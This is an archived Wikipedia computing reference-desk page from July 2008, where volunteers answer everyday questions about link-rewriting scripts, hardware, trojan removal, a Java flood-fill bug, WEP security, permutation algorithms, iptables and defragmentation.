I've inherited several fairly large chunks of a much larger website, and the maintenance of the former (all conveniently mirrored on my hard drive and in a USB memory thingie). Let's say that the former chunks are
- www.domain.tld/business/........
- www.domain.tld/this/is/a/long/path/personal/........
- www.domain.tld/css/........
- www.domain.tld/image/........
with subdirectories aplenty. All the links among these are relative, and there are plenty of links between the first two. (There are few links from elsewhere in the larger site to "my" chunks.) I now want to change the first two to, say
- www.domain.tld/main/business/........
- www.domain.tld/main/personal/........
Of course I'd do this to the image on my hard drive, check all the links, add redirects from the old addresses, and then uplod the lot.
There are so many links to change that doing this would be rather tedious but tolerable. There aren't so many links to change that I'd want to be bothered to learn perl (?) or awk (?) in order to automate the job. I wonder, however, if some obliging person might have written some software that presents a form asking for information about where things are now relative to the root, and where you want them relative to the root, and that then edits the files accordingly.
Half the files are in Shift-JIS, half in UTF-8; half are in HTML, half in XHTML. I have access to computers that run Kubuntu, Mac OS 10.5, and Windows Vista. -- Hoary (talk) 07:40, 13 July 2008 (UTC)
- Cook links don't change, but you could alias it to provide access from the long and short versions. The advantages of this would be the ability to use short links while not needing to worry that you haven't caught every link that needs to be changed. You can set up an alias in whatever your website config files are (eg: Apache.conf).
- To change the urls, I'd back up all the files, then use the following script:
for A in $(find . -name '*.html' -print);
do
echo "Will update $A";
# sed --in-place -re 's/\/this\/is\/a\/long\/path\//\/this\/is\/a\/short\/path/g' "$A";
done;
- Run it once to list the files which will be changed (all the *.html files in this case), then run it with the sed line uncommented to actually do it. You should edit the 's/.../.../g' part to have the old path in the first bit and the new path in the second bit, with the slashes escaped with a backslash (ie / becomes \/). This is a regular expression, so avoid the special regexp characters. --h2g2bob (talk) 15:46, 13 July 2008 (UTC)
- Thank you. I do like this "software tools" approach. Of course I'd back up all the files -- actually they all add up to very little compared with even your bog standard 1GB USB memory device, so I can have multiple mirrors and only ftp one of these when I'm sure I've got it right. -- Hoary (talk) 23:52, 13 July 2008 (UTC)
- I use Adobe Dreamweaver at work, and it can do this very neatly, moving the files and updating the linked references. Check Category:Web development software, especially Category:Content management systems for other applications. --—— Gadget850 (Ed) talk - 15:27, 13 July 2008 (UTC)
- Moving the files is of course trivial, it's updating the links that's irritating. I believe that Dreamweaver costs real money: OK if I had reason to use it later, but not otherwise. As for Category:Content management systems, they're described in opaquely abstract terms ("a system used to organize and facilitate collaborative content creation" etc etc) so I'm lost. Category:Open source content management systems is a bit more promising, but somehow I think that using sed will take less time than even locating the right CMS tool for the job. Still, thank you for trying to help, and I may yet have a follow-up question. -- Hoary (talk) 23:52, 13 July 2008 (UTC)
Technology behind the PS3's on/off switch
What is the technology behind the PS3's on/off switch (the one at the front of the console). I can't see any mention of it in the PS3 article. Thanks PSIII (talk) 08:36, 13 July 2008 (UTC)
I don't know exactly. I'm pretty sure it's checking for conductivity across the two metal pieces. Try putting a screwdriver across them. It works fine, but if you use a plastic piece it won't work. APL (talk) 14:50, 13 July 2008 (UTC)
I don't know this switch but I'm quite familiar with switch technology - do you have to press it/just touch it/just let your finger go near it without touching?87.102.86.73 (talk) 15:28, 13 July 2008 (UTC)
I'm guessing that it's a 'hi-tech' switch so maybe Touch switch will be useful.87.102.86.73 (talk) 15:33, 13 July 2008 (UTC)
- Looking at that article I'll bet it's a "Resistance touch switch". The two electrodes double as the icon indicating the switch. APL (talk) 17:38, 13 July 2008 (UTC)
- Warning: Original Research! Experimentation by poking it (and the eject button) in different ways suggest it's a capacitance switch. Neıl ☄ 15:09, 14 July 2008 (UTC)
Fun fact: The PS3 reads you mind. There is not spo..button. --mboverload@ 20:13, 14 July 2008 (UTC)
Getting rid of 3dsps.x3d trojans.
Sorry if this question has been asked many times before, but at this point I'm really worried. I have Norton Internet Security and AntiVir installed on my computer; last night, when Norton was scanning the computer, it found three trojan horses {3dsps.x3d type, which I found out to be known also as Win32.TrojanSpy.Peed}. Basically, Norton detected them, but stated not to be able to delete/put them into quarantine; therefore, I started looking for possible solutions on the web, only suceeding in downloading programs which were not compatible with Vista{which I have} or scanned my computer and then needed to be purchased in order to destroy the adware/malware and such, which I can't afford at the moment. Weird thing, not all of these programs {like Avast} detected the trojans; anyway, I thought I had solved the problem when I downloaded SUPERantispyware, which I had seen rated well on different sites; point is, when I scan my computer with it, it finds only cookies. Norton meanwhile keeps telling me I have those three trojans; it tells me where they should be, it's a file I downloaded from the Net, but when I scan it with other programs {SUPERantispyware included} it founds nothing but cookies; I would prefer to avoid deleting those file alltogether, because I really need it. Is Norton going crazy? If not, how do I get rid of those 3dsps.x3d trojans, possibly without deleting all the file I downloaded but only the infected part? I will really be grateful if you could help me with this and I apologize it was such a long post. —Preceding unsigned comment added by 79.26.93.138 (talk) 15:17, 13 July 2008 (UTC)
- Try booting into safe mode (press F8 repeatedly while your PC is booting up, and select "safe mode" from the menu which appears) and then scanning with Norton, you may have better luck cleaning the files. — QuantumEleven 11:56, 15 July 2008 (UTC)
Alternative firmware for Nokia 3220
Is alternative firmware available for my Nokia 3220 phone? If so, what benefits would it confer? NeonMerlin 15:50, 13 July 2008 (UTC)
DVD drive
I'm thinking about getting an IDE CD/DVD-combo-drive-thingy for my comp. When I hook it up: 1) Would I have to use an 80-wire cord, or could I use a 40-wire, 2) Would I need some special software, or could I just immediately play DVDs on Windows Media Player? Thanks, flaminglawyerc 18:37, 13 July 2008 (UTC)
I believe you are asking if you need to hook your drive to the IDE or Floppy connector. It must connect to IDE. You should have two IDE connectors on the motherboard (having only one is rare - except in new computers where there are two SATA and no IDE connectors).If you already have something plugged into both IDE connectors, note that you can connect two devices on each connector. Some IDE cables only have two plugs (one for the board and one for the drive). Most have three, one for the board, one in the middle for one drive and one on the end for another drive. You will probably need to install drivers for the drive if it has burning capability, but most drives come with a driver disk to make installation easy. -- kainaw™ 19:29, 13 July 2008 (UTC)
- If you want to successfully use any of the faster transfer modes, you want the 80 wire cable. Really, nowadays, there's no reason to use the 40 wire cable; the 80-wire is much better at carrying fast signals.
- (striking comment above) I see. I didn't realize he was asking about an ungrounded IDE or grounded IDE cable. The grounded one (with 80 wires) is required for successful DMA. -- kainaw™ 11:57, 14 July 2008 (UTC)
- On the IDE/ATA bus, DMA is only indirectly related with transfer modes/rates. Whether the transfer is done using programmed I/O or direct memory access is actually a function of what's going on inside the IDE bus interface chip; nothing different happens on the IDE bus cable. You could program your IDE bus controller to use DMA transfers even at the slowest IDE transfer rates and for these, the older 40-wire cable would suffice. Most people wouldn't do that, of course; they're out for speed so the tendency is to use the fastest supportable IDE bus transfer rate and DMA transfers to/from host memory. And to do those fastest IDE bus transfers, you do need the 80-wire cable. (I once wrote IDE/ATA/ATAPI device drivers for a living.)
LCD display commands
Hi all,
I have one of these alphanumerical LCDs attached at a C-Control. As most of these LCDs are standardized (or at least I hope so)... where can I find out a list of commands I can send to them?
Thanks,HardDisk (talk) 18:44, 13 July 2008 (UTC)
- PS: Yeah, I have googled, but I found only documents which state how to utilize the D0-7 pins, but I need the hexadecimal stuff (for example 01h=CLS). HardDisk (talk) 18:53, 13 July 2008 (UTC)
- Manufacturer data sheets are the way to go. A quick google search for "DEM16217" (the code on the example illustrated to the right) brought up this PDF datasheet which seems pretty comprehensive. Astronaut (talk) 22:52, 13 July 2008 (UTC)
Two television questions
I've got two questions:
- On my very old (>10 years) TV, the the picture has shifted to the right a bit, just enough to obscure the last number of CNN's stock display. Is this a sign I need to get a new TV?
- Does aluminum foil actually improve TV reception? If not, are there any other tips? I have a small battery powered TV and am going to be in Fulton County, Pennsylvania, which is pretty much a dead spot when it comes to over-the-air TV reception.
Thanks, Xenon54 18:52, 13 July 2008 (UTC)
- If you are skilled and not afraid of extremely high voltages, open the housing and clean the boards from dust. This helped my dad's old CRT. HardDisk (talk) 18:54, 13 July 2008 (UTC)
- And for what the aluminium foil? Better get an active-amplified antenna or satellite dish.HardDisk (talk) 18:55, 13 July 2008 (UTC)
- I'm talking about a two-inch TV (for the second one), so it would be a bit hard to hook up a satellite dish. Xenon54 19:03, 13 July 2008 (UTC)
- You take the satellite reciever's antenna output, take some copper wire and connect the antenna output signal pin to the antenna of the mini tv. HardDisk (talk) 19:07, 13 July 2008 (UTC)
- Would this be possible with a regular antenna as well? Xenon54 20:57, 13 July 2008 (UTC)
- You take the satellite reciever's antenna output, take some copper wire and connect the antenna output signal pin to the antenna of the mini tv. HardDisk (talk) 19:07, 13 July 2008 (UTC)
- I'm talking about a two-inch TV (for the second one), so it would be a bit hard to hook up a satellite dish. Xenon54 19:03, 13 July 2008 (UTC)
Question 1
- you can adjust this horizontal shift, on old tv s there is often a hole at the back where you insert a (electrically insulated) screwdriver, and turn a variable capacitor/inductor - if you can find the hole, (it should be marked h.shift or h-something) you can adjust it yourself.
- alternatively a TV technician can take the tv apart and do this for you. It shoudn't require any new parts and is easily changable.
- Obviously don't poke around in the back of the tv unless you know what you are doing.87.102.86.73 (talk) 19:23, 13 July 2008 (UTC)
- OR you could get a new tv.. 87.102.86.73 (talk) 19:48, 13 July 2008 (UTC)
- I doubt adjusting hshift will work if the thing is dusted...HardDisk (talk) 20:14, 13 July 2008 (UTC)
- If it has spontaneously shifted to the right, that probably does indicate there's something wrong with the TV. The adjustment mentioned above may, or may not, fix it. It might last this way for years, though, so, if you can live with it, you can just keep it until it dies completely. I've had many TVs have serious problems that I've learned to live with. I had one which had the volume go to maximum on it's own, so I disabled the internal speakers and used external speakers with a volume control instead. I had another that went to a single horizontal line for a half hour until it warmed up, so I just left it on with no input to the RCA jacks to keep it warm. StuRat (talk) 22:52, 13 July 2008 (UTC)
- Aluminum foil can slightly improve reception if you put two balls on the ends of rabbit ears. However, repositioning and/or rotating the antenna is likely to have even more of an effect, so try that first. StuRat (talk) 22:56, 13 July 2008 (UTC)
Java colorisation question
I am implementing a colorisation program in Java Swing. The actual colorisation of black-and-white images is done at the moment with this code:
private void floodFill(int x, int y, int originalRgb, boolean[][] visited) {
if (x<0 || x>=160 || y<0 || y>=120) {
return;
}
if (visited[x][y]) {
return;
}
int offset = x + image.getWidth() * y;
int rgb = pixels[offset] & 0xFFFFFF;
visited[x][y] = true;
if (Math.abs(value(rgb)-value(originalRgb)) > 0xF) {
return;
}
//pixels[offset] = (0xFF << 24) | rgb;
pixels[offset] = tint(colours[currentColour].getRGB(), value(rgb));
floodFill(x-1, y, rgb, visited);
floodFill(x, y-1, rgb, visited);
floodFill(x+1, y, rgb, visited);
floodFill(x, y+1, rgb, visited);
}
private int value(int rgb) {
int r = (rgb >> 16) & 0xFF;
int g = (rgb >> 8) & 0xFF;
int b = rgb & 0xFF;
return Math.max(r, Math.max(g, b));
}
private int tint(int rgb, int value) {
int r = (rgb >> 16) & 0xFF;
int g = (rgb >> 8) & 0xFF;
int b = rgb & 0xFF;
int r2 = (int)(r * (value / (double)0xFF));
int g2 = (int)(g * (value / (double)0xFF));
int b2 = (int)(b * (value / (double)0xFF));
return (0xFF << 24) | (r2 << 16) | (g2 << 8) | b2;
}
The idea is that calling floodFill() on a pixel that the user has clicked on causes a recursive flood fill of all nearby pixels whose HSV value component is similar enough, using the current colour. The colours cycle per click through red, yellow, green, cyan, blue and magenta. The only problem I have is this: Clicking on a part of the image that has already been coloured red causes it to be coloured solid black. This happens only on red parts - clicking on parts that have not been coloured yet, or on parts that have been coloured any other colour, works fine. I can't figure out what is causing this. Can anyone help? JIP | Talk 19:06, 13 July 2008 (UTC)
- I haven't read the whole thing, but the rgb = pixels[offset] & 0xFFFF looks fishy. It's only using 16 bits, while the rest of the code is oriented toward 32-bit color (8 bits red, 8 bits green, 8 bits blue, 8 bits alpha?) --tcsetattr (talk / contribs) 20:01, 13 July 2008 (UTC)
- I removed the & 0xFFFF operation, but it still doesn't work. Now, an area coloured red stays red forever. Uncoloured areas, or areas coloured any other colour, work fine. What is so damned special about the colour red? JIP | Talk 20:14, 13 July 2008 (UTC)
- Hard to say. Still sounds like a plain bug, as in a typo or a logic error somewhere. Can you replace the code above with the exact version you've got now? Also, I see some oddities in your code: for example, it seems you should either pass
originalRgb
instead ofrgb
when callingfloodFill()
recursively, or (depending on which effect you want) you should move thevisited[x][y] = true
line below theMath.abs(value(rgb)-value(originalRgb)) > 0xF
check. The way you have it currently, your flood fill has a directional bias. Anyway, if it'soriginalRgb
you want to compare each pixel against, why not simply computevalue(originalRgb)
once and pass that around instead of recomputing it each time? —Ilmari Karonen (talk) 13:47, 14 July 2008 (UTC)- I checked it again and found the problem. I had fixed the 0xFFFF bit at the wrong place. The above version is what I have now, and it's working. As for your suggestions, the first one would actually make it worse - I want the value check to happen dynamically: as the flood fill progresses, it's supposed to check for value differences against the current pixel, not against the original one. This way it can find hard edges more effectively. Using the original value will only colour part of the "flat" areas between hard edges. I know, I just tried it. Your second suggestion, though, improves the algorithm, it's now colouring the "flat" areas more thoroughly. Thanks for your suggestions. JIP | Talk 17:13, 14 July 2008 (UTC)
- Hard to say. Still sounds like a plain bug, as in a typo or a logic error somewhere. Can you replace the code above with the exact version you've got now? Also, I see some oddities in your code: for example, it seems you should either pass
- I removed the & 0xFFFF operation, but it still doesn't work. Now, an area coloured red stays red forever. Uncoloured areas, or areas coloured any other colour, work fine. What is so damned special about the colour red? JIP | Talk 20:14, 13 July 2008 (UTC)
How do I fix a broken link?
The article resulting from searching for the word "Blog" has an external link that is broken. Here is the click-on text of the link in the article's External Link section:
Computer Law and Security Report Volume 22 Issue 2, pages 127-136, "Blogs, Lies and the Doocing" by Syliva Kierkegaard.
70.224.39.60 (talk) 19:35, 13 July 2008 (UTC)
- I have no idea how to add or fix one of those references, which is probably a good indication that they are too damn complicated for the average editor to use. However, note that the link to that book under "External Links" at the bottom of the article does work, although it only gives you the abstract and table of contents for free. They want $31.50 to read the full article. That's probably why the ref fails, it's trying to go directly to a section of the article and that's not allowed until you fork over cash. I have reservations about linking to pay sites like this, as it's bound to cause frustration (how many people are willing to pay that much money to verify a source for a Wikipedia article ?). StuRat (talk) 22:15, 13 July 2008 (UTC)
- Here's our article: blog.
- Here's the broken ref: "In Singapore, two ethnic Chinese were imprisoned under the country’s anti-sedition law for posting anti-Muslim remarks in their weblogs.[1]"
- Here's the section with the broken ref: Blog#Political_dangers.
- Here's the good link: "* Computer Law and Security Report Volume 22 Issue 2, Pages 127-136blogs, Lies and the Doocing by Sylvia Kierkegaard (2006)"
- Here's the location of the good link: Blog#External_links. StuRat (talk) 22:23, 13 July 2008 (UTC)
- ...now the "good link" seems to be failing, too. Perhaps it's using a temporary web address that goes away in short order. StuRat (talk) 22:26, 13 July 2008 (UTC)
- I just went to that site and found the abstract again, now let's see if this link breaks after a few minutes: [1]. StuRat (talk) 22:35, 13 July 2008 (UTC)
Wireless network security
My nephew has been bugging me about letting his DS get on the wireless network here at home. However, I'm a bit skittish because the DS doesn't support anything other than WEP. I already do MAC address filtering, but is there anything else I can do to secure the network if I decide to give in? Thanks. 24.8.206.126 (talk) 20:28, 13 July 2008 (UTC)
- Everything is hackable when you use WEP. Get some cheap AP and set it up in a way it provides WEP WLAN when your nephew is at home; set it up in a way it can only access the Internet. (and switch it off when your nephew isn't at home so your neighbours can't abuse your connection) HardDisk (talk) 21:18, 13 July 2008 (UTC)
- (ec)The only thing I can suggest is to buy (2nd hand) second (a WEP compatible) gateway and run it in the DMZ of you main gateway. That way if someone gets into the WEP (which isn't much of a challenge to a savvy script-kiddie) all he'll get is a free internet connection rather than access to your home network (and so he'll just get you convicted for warez/kiddieporn crimez) - you can always turn that gateway on only when nephew is visiting. Incidentally MAC filtering is essentially useless as a security measure, as WEP/WPA/WPA2 sends the MAC in the unencrypted part of the packet, so it's not very hard for Mr Kiddie to spoof the MAC of a legitimate client. -- Finlay McWalter | Talk 21:25, 13 July 2008 (UTC)
- Come off it, how likely that your home network will be seriously compromised during your nephew's brief visit? Set up his MAC address, set up WEP and turn off your PC. Go back to the regular settings when he's gone. Astronaut (talk) 23:02, 13 July 2008 (UTC)
24.8.206.126, if you are technical you can run DD-WRT on your router. You can run WPA and WEP at the same time. Keep in mind that it is well known how to hack a WEP network. It has been done in around 3 minutes at Defcon. However, I don't think anyone cares about your network that much. --mboverload@ 23:05, 13 July 2008 (UTC)
optimise
Somebody asked a question about program efficiency above see Wikipedia:Reference_desk/Archives/Computing/2008_July_10#Efficient_Programming - there were some issues about stacks and recursion etc.. I took a permutation algorthym and tried to remove the recursive calls.. (The aim was to generate all the permutations of 123456789 eg swapping the digits)
I came up with (eventually)
- dim a(9) an array holding the digits to be permuted
- dim c(9) an array holding the equivalents of the pointers in 9 for/next loops
- for x=1 to 9 : a(x)=x : c(x)=x: next x initiate both arrays - they happen to be the same
- p=1 this points to the current depth of traversal
- LOOP1 : swap ( a( c(p) ) , a( p ) )
- increment p
- if p<10 the goto LOOP1
- print the ouput number formed by a() ie print a(1)*10^9+a(2)*10^8 ..etc
- LOOP2 : decrement p
- if p=0 then stop
- swap ( a( c(p) ) , a( p ) )
- increment c(p)
- if c(p)<10 then goto LOOP1 equivalent to a "next c() instruction"
- c(p)=p this effectively re-initialises a for/next loop
- goto LOOP2
As a general method - can anyone recommend improvements? eg for compiled speed?87.102.86.73 (talk) 21:59, 13 July 2008 (UTC)
- Can you write up some actual code (FORTRAN, if possible), so I can compare performance with the two methods I've tried already (see previous section) ? StuRat (talk) 03:34, 14 July 2008 (UTC)
- Actually I don't know fortan syntax that well.. the dim a(9) I guess is the same as a make_array "a" size 9.
- swap a(c(p)),a(p)) can be replaced with z=a(c(p)) : a(c(p))=a(p) : a(p)=z
- increment and decrement if not supported is the same as x=x+1 or x=x-1
- The 'if's can all be terminated with 'else'
- This is the most simple/readable pseudo-code I can make if you want to try translating it:
- 10 INTEGER_SMALL : x,p,z
- 12 INTEGER_LARGE : t
- 20 INTEGER_ARRAY_OF_SMALL : a(9),c(9)
- 22 INTEGER_ARRAY_OF_LONG : n(362880)
- 25 t=1
- 30 for x=1 to 9
- 40 a(x)=x
- 50 c(x)=x
- 60 next x
- 70 p=1
- 100 z=a(c(p))
- 102 a(c(p))=a(p)
- 104 a(p)=z
- 110 p=p+1
- 120 if (p<=9) then goto 100 else continue
- 150 n(t)=100000000*a(9) + 10000000*a(8) + 1000000*a(7) + 100000*a(6) + 10000*a(5) + 1000*a(4) + 100*a(3) + 10*a(2)+ a(1)
- 160 t=t+1
- 170 goto 200 ! delete this if printing is required
- 180 print n(t-1)
- 200 p=p-1
- 210 if (p=0) then stop/end program else continue
- 220 z=a(c(p))
- 222 a(c(p))=a(p)
- 224 a(p)=z
- 230 c(p)=c(p)+1
- 240 if (c(p)<=9) then goto 100 else continue
- 250 c(p)=p
- 260 goto 200
- (one minor correction made)
That's really BASIC which is pretty much "Fortran-lite" - capitalise everything and I imagine it would work..? 87.102.86.73 (talk) 10:43, 14 July 2008 (UTC) (The method does work by the way in basic)
- Actually, FORTRAN hasn't required all caps for decades (since 1966 ?), although I sometimes still use them to make it easier to read when displaying many lines at small resolution. I'll convert your program to FORTRAN and give it a try... StuRat (talk) 12:58, 14 July 2008 (UTC)
- OK, I convereted to FORTRAN and added some benchmarking code: ([2]). It runs in 0.20 second, so it's about 40% quicker than my fastest method of 0.33 second ... good job ! I do prefer my sorted output in general, however, even though it wasn't a requirement, in this case. PS: I changed the link at the top of this question to a permalink, which will work even after this is all archived. StuRat (talk) 14:49, 14 July 2008 (UTC)
- ! I am actually suprised it runs faster - I was expecting similar results: there's not much overhead in the other methods.
- By the way I think if you replace
- 150 n(t)=100000000*a(9) + 10000000*a(8) + 1000000*a(7) + 100000*a(6) + 10000*a(5) + 1000*a(4) + 100*a(3) + 10*a(2)+ a(1)
- with
- 150 n(t)=100000000*a(1) + 10000000*a(2) + 1000000*a(3) + 100000*a(4) + 10000*a(5) + 1000*a(6) + 100*a(7) + 10*a(8)+ a(9)
- 150 n(t)=100000000*a(9) + 10000000*a(8) + 1000000*a(7) + 100000*a(6) + 10000*a(5) + 1000*a(4) + 100*a(3) + 10*a(2)+ a(1)
- then the output is in order (my mistake again)..
- It was immensly confusing making a recursive function non-recursive.. Usually I'd stick with simple - it's easier to de-bug etc..87.102.86.73 (talk) 16:38, 14 July 2008 (UTC)
- I thought of that change myself and gave it a try, and it makes it closer to numeric order, but not quite. The last value found is 912345678 now. It should be 987654321 to be in numeric order. As for going with the simplest code when the performance difference is trivial, as in this case between 0.20 seconds and 0.33 seconds, I completely agree. Still, it's good to know the more efficient methods, in case they are ever needed for an app where time is critical. StuRat (talk) 20:23, 14 July 2008 (UTC)
- You beat me to it, I just spotted that too.. probably could be fixed with a bubble sort (starting at position P) after each 'up pseudo-recursion level P' loop (or something); which would most likely add .13 (or more) seconds to the time and back where we started.
- Even so the method does have one advantage in that it's extensible or contractable to any length (replace all instances of the number 9 with K and begin with a let K=whatever)
- I'd probably go with the if/then/do or DIY simple recursion ie use the stack myself (if that's supported) - (it compiles to the same thing - meaning the recursive and self implemented stack using loop and the self made version is likely to be either less complex or the same... : an example of which has been discussed at Wikipedia:Reference_desk/Computing#Implementing a flood fill more efficiently87.102.86.73 (talk) 21:08, 14 July 2008 (UTC)
- I'd avoid using a bubble sort for sorting anything more than a dozen items. But, even a far more efficient sort (such as a pointer-based radix sort, in this case) is still likely to increase the elapsed time by more than 0.13 seconds, as you said. StuRat (talk) 23:53, 14 July 2008 (UTC)
I've read the solutions everyone else proposed but did anyone said anything about backtracking, one of the most obvious ones? Sorry if someone did already. Anyway it's quite fast and it also generates the numbers in order. —Preceding unsigned comment added by Ovi 1 (talk • contribs) 08:58, 16 July 2008 (UTC)
- I'm not sure, can you describe this method ? StuRat (talk) 14:04, 17 July 2008 (UTC)
Kaspersky conflicts with my game
OK, so I installed the Philippine edition of FreeStyle Street Basketball, and what bothers me is that Kaspersky thinks it's a keylogger. I already added the FS binaries to the whitelist, but still the antivirus is warning me of an unknown keylogger, which I think is the game. Any suggestions? Blake Gripling (talk) 23:15, 13 July 2008 (UTC)
- ...And where did you get this Philippine version of FreeStyle...?--mboverload@ 01:30, 14 July 2008 (UTC)
- From the publisher's website. I think my SiS graphics chip is causing the graphics glitches; I played Grand Theft Auto: Vice City there and polygon glitches sometimes occurs. Blake Gripling (talk) 12:43, 15 July 2008 (UTC)
Team Fortress 2 crashes
My copy of Team Fortress 2 was working perfectly fine before, all of a sudden, it would go to the begining loading screen and freeze. My game was fine one day, the next, hnaging at startup. Please help fix this. I tried reinstalling, everything steam said to do. None of that worked! --69.127.64.22 (talk) 23:26, 13 July 2008 (UTC)
July 14
C++
I just started C++ today so...
I compiled "Hello world". When I run it, a command prompt window pops up for a split second. It pops up and is gone so fast I can even see what happens. This is what I have written:
#include <iostream>
- using namespace std;
- int main()
- {
- cout << "Hello, world!";
- return 0;
- }
So, can anyone tell me how to fix this so the prompt stays up and I can see the output on the screen? Thanks, Ζρς ι'β' ¡hábleme! 00:09, 14 July 2008 (UTC)
- You've written a console-mode program, so you should run it from the console (aka command prompt). -- Finlay McWalter | Talk 00:14, 14 July 2008 (UTC)
- Looks like it's just a command-line program, so if you just double-click the .exe file, it will exit the command window immediately it processes the "return" statement. There are 2 easy solutions:
- If instead you open a command window, navigate to wherever the .exe file is, and then type in the name of the file, it will exit back to command-line mode without closing the window.
- Read the next lesson in your book and add something like "cin >> str;" before the return (of course you will need to give str a type); the program will pause for you to type something before exiting.
- Nevermind, I found i out what the problem was. (I don't have a book, I'm just learning from the web.) I'm using Dev-C++, so before the
return 0;
, I just needed to putsystem("pause")
. I found out that that's not required in Visual Studio so apparently the person writing the tutorial was using Visual Studio. (It also runs ok from the GUI now that it pauses.) Thanks, Ζρς ι'β' ¡hábleme! 00:41, 14 July 2008 (UTC) Done
- Nevermind, I found i out what the problem was. (I don't have a book, I'm just learning from the web.) I'm using Dev-C++, so before the
Windows XP and Core 2 Duo (E8400) - Can't get second core to work.
First, is there something that MUST be done during a Windows XP installation so it will recognize both cores in a dual core CPU? If so, do tell! Otherwise, read on:
- BIOS setting was ok, I guess. The only option that looked relevant said "SW Single Processor Mode -- Disabled"
- Windows XP SP2 installed, running as Multiprocessor according to device manager.
- Device manager shows a single CPU, so does Task Manager.
- Only one core is visible with cpuz. Intel's diagnosis program tells me the second CPU is "disabled".
Reinstalled Windows, normally. Same thing. Any ideas of what's going on? I've looked in several forums already, no luck. :( — Kieff | Talk 02:01, 14 July 2008 (UTC)
- Usually there is nothing you need to do to enable the second core. Have you tried a Linux LiveCD and see if you can use the second core there? If you can't it's probably hardware related. --antilivedT | C | G 09:50, 14 July 2008 (UTC)
- Each core in multicore processors are usually treated as separate processors, so from memory (its hazy, I'm a proud Linux user), only XP Professional supports two processors. If the version you are using is Home, then the second core will not be used. Rilak (talk) 13:26, 14 July 2008 (UTC)
- According to this article, XP Home should support multi-core but it does not support multi-cpu, if that's not just a little confusing.
- What version of Windows are you installing? XPHome SP2 should support multi-core, but XP SP0 or SP1 might not ---J.S (T/C/WRE) 02:55, 15 July 2008 (UTC)
- Every version of XP Home should support. I run here C2D T7250 and can access both cores via SP2. You sure you didnt buy a Core 2 Single? HardDisk (talk) 14:26, 15 July 2008 (UTC)
how to determine format of a word processing file?
Can someone point me to a way to figure out what word processor created a given file? I have some old files with no extensions. I would have thought that between NeoOffice and the unregistered version of Pages, I'd be able to open any file I'd ever created, but I'm stuck on a few. --Allen (talk) 03:50, 14 July 2008 (UTC)
- I presume you're using a Mac given the reference to Pages and NeoOffice. Have you tried using the Get Info (Command + I) function? It should list the file type under "Kind", with or without a file extension. --Canley (talk) 09:45, 14 July 2008 (UTC)
- file (Unix)? Mac OS X probably has that hidden in the terminal. --antilivedT | C | G 09:49, 14 July 2008 (UTC)
- Thanks... Get Info doesn't work because I destroyed some sort of metadata while FTPing the files (I think that's what happened... at least that's when I lost their time stamps). I didn't know about file (Unix), and it does work on some of them, but for the really tough ones it just returns "data". I'm even more baffled what I could have done with these files. --Allen (talk) 14:10, 14 July 2008 (UTC)
- I figured it out now... they're just files created by versions of Appleworks that are so old Pages doesn't support them. I was confused because I was under the impression that Pages opened all Appleworks files. Now I'm just frustrated... what does Apple expect us to do with old files? --Allen (talk) 14:26, 14 July 2008 (UTC)
- Beyond a certain point, there's diminishing returns on supporting old formats. About all you could really do is A) search for a conversion utility online or B) find an older Mac with AppleWorks that can import the old files and export to another format (RTF is the most likely candidate). — The Hand That Feeds You:Bite 22:23, 14 July 2008 (UTC)
- I figured it out now... they're just files created by versions of Appleworks that are so old Pages doesn't support them. I was confused because I was under the impression that Pages opened all Appleworks files. Now I'm just frustrated... what does Apple expect us to do with old files? --Allen (talk) 14:26, 14 July 2008 (UTC)
- Thanks... Get Info doesn't work because I destroyed some sort of metadata while FTPing the files (I think that's what happened... at least that's when I lost their time stamps). I didn't know about file (Unix), and it does work on some of them, but for the really tough ones it just returns "data". I'm even more baffled what I could have done with these files. --Allen (talk) 14:10, 14 July 2008 (UTC)
- file (Unix)? Mac OS X probably has that hidden in the terminal. --antilivedT | C | G 09:49, 14 July 2008 (UTC)
iptables question
I'm just not figuring this out. I want to drop all inbound connections to a specific port unless those connections originate from a handful of specific IP addresses. Basically, I just want to make a service running on this port only visible to certain hosts. Can anyone give me an example iptables rule? Thanks a lot. 192.156.33.34 (talk) 07:12, 14 July 2008 (UTC)
- Sure:
- iptables -A INPUT -i eth0 -s 192.168.0.0/16 --dport 80 -j ACCEPT
- This rule lets anything from the example IP address range block on the eth0 interface to access port 80 (web server). This rule is the simplest, so it isn't secure. For example, it does not specify the destination IP address or the protocol, etc. Rilak (talk) 13:20, 14 July 2008 (UTC)
- If you don't specify the transport layer protocol, you can't specify the port. So:
- iptables -A INPUT -i eth0 -s 192.168.0.0/16 -p tcp --dport 80 -j ACCEPT
- --Juliano (T) 13:28, 14 July 2008 (UTC)
- Yes, I forgot to mention that... funny thing is that I was implementing some NAT rules in iptables just today. Rilak (talk) 13:43, 14 July 2008 (UTC)
Defragment HDD
How long does it take to defragment a 40 GB HDD? If I stop in the middle, will Windows XP make a mess out of my data? If I don't stop, is there still any risk involved? 83.54.217.146 (talk) 09:53, 14 July 2008 (UTC)
- The basic advice is never to stop a defragmentation in the middle. How long it takes to defragment depends on whether you're going for a full defragmentation or a quicker version that operates very simply. The risk to your data of just doing a normal defragmentation is minimal to zero (the main problem comes if you get a power cut in the middle). Sam Blacketer (talk) 09:57, 14 July 2008 (UTC)
- Fragmentation also depends on how recently you've defragmented the drive. If it is not fragmented at all, defrag will finish rather quickly. Other than stopping in the middle, there are two possible problems: It is possible (though very rare) that a good file will be moved to an area of the drive with a bad/failing sector. Then, the file won't be good anymore. This is not a defrag problem - it is a problem with the drive itself. If you have a program that opens a file and tries to write to it while it is being moved, it can cause a problem. This shouldn't happen because defrag locks the file while it moves, but some programmers may try to ignore this and write to a locked file anyway. Again, this is not a defrag problem. It is a programmer problem. -- kainaw™ 12:01, 14 July 2008 (UTC)
- I just want to note that I've stopped defrags in the middle before on virtual drives (by stopping it with the program itself, not by turning the machine off or something dramatic) and it was fine—never any problems. If you resume the defrag later it speeds over the first half pretty quick. --98.217.8.46 (talk) 14:22, 14 July 2008 (UTC)
- I can only confirm that. if you stop normally in Windows XP, your files will suffer no harm. Defrags are not brain surgery, the OS just takes the pieces of the files and put them together. Another story is probably if you are defragmenting Windows system files in an external HDD and cut the power off. In this late case, you'll mkae probably a mess from your OS. —Preceding unsigned comment added by Mr.K. (talk • contribs) 18:24, 14 July 2008 (UTC)
Windows's defragging on NTFS is extremely stable. It is a very safe proceedure. You can stop it at any time you want with no ill effects. Although I wouldn't recommend it you can pull the power plug from your computer in the middle of a degrag if you wanted to...for some reason. Sam's comments may be regarding FAT defragging, which I don't know much about. KEEP IN MIND, if your hard disk is damaged defragging can make the situation worse. Just FYI. --mboverload@ 20:09, 14 July 2008 (UTC)
